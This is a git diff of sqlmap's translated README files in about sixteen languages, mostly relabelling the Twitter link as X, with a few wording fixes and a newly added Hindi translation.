* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ Poveznice
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -2,21 +2,23 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar Tangkapan Layar
---- ----
![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
Instalasi Instalasi
---- ----
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
@@ -25,26 +27,27 @@ sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi
Penggunaan Penggunaan
---- ----
Untuk mendapatkan daftar opsi dasar gunakan: Untuk mendapatkan daftar opsi dasar gunakan perintah:
python sqlmap.py -h python sqlmap.py -h
Untuk mendapatkan daftar opsi lanjut gunakan: Untuk mendapatkan daftar opsi lanjutan gunakan perintah:
python sqlmap.py -hh python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Tautan Tautan
---- ----
* Situs: https://sqlmap.org * Situs: https://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -0,0 +1,50 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
चित्रसंवाद
----
![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं।
स्थापना
----
आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं।
प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
उपयोग
----
मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए:
python sqlmap.py -h
सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए:
python sqlmap.py -hh
आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है।
लिंक
----
* मुखपृष्ठ: https://sqlmap.org
* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues
* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* ट्विटर: [@sqlmap](https://twitter.com/sqlmap)
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
*

View File

@@ -45,6 +45,6 @@ Link
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -46,6 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues * 課題管理: https://github.com/sqlmapproject/sqlmap/issues
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -44,6 +44,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues
* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ Links
* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues
* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -2,9 +2,9 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
Zrzuty ekranowe Zrzuty ekranu
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
@@ -33,18 +33,18 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia:
python sqlmap.py -hh python sqlmap.py -hh
Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601). Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601).
Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Odnośniki Odnośniki
---- ----
* Strona projektu: https://sqlmap.org * Strona projektu: https://sqlmap.org
* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ Links
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ Linkovi
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ Linky
* Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues * Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues
* Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki * Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım Kullanım
---- ----
@@ -48,6 +48,6 @@ Bağlantılar
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -2,15 +2,15 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. đi kèm với sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
Ảnh chụp màn hình Ảnh chụp màn hình
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki. Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki.
Cài đặt Cài đặt
---- ----
@@ -18,7 +18,7 @@ Cài đặt
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap): Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
@@ -27,16 +27,16 @@ sqlmap hoạt động hiệu quả với [Python](https://www.python.org/downloa
Sử dụng Sử dụng
---- ----
Để có được danh sách các tùy chọn cơ bản, hãy sử dụng: Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy:
python sqlmap.py -h python sqlmap.py -h
Để có được danh sách tất cả các tùy chọn, hãy sử dụng: Để có được danh sách tất cả các tùy chọn và switch, hãy chạy:
python sqlmap.py -hh python sqlmap.py -hh
Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601). Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601).
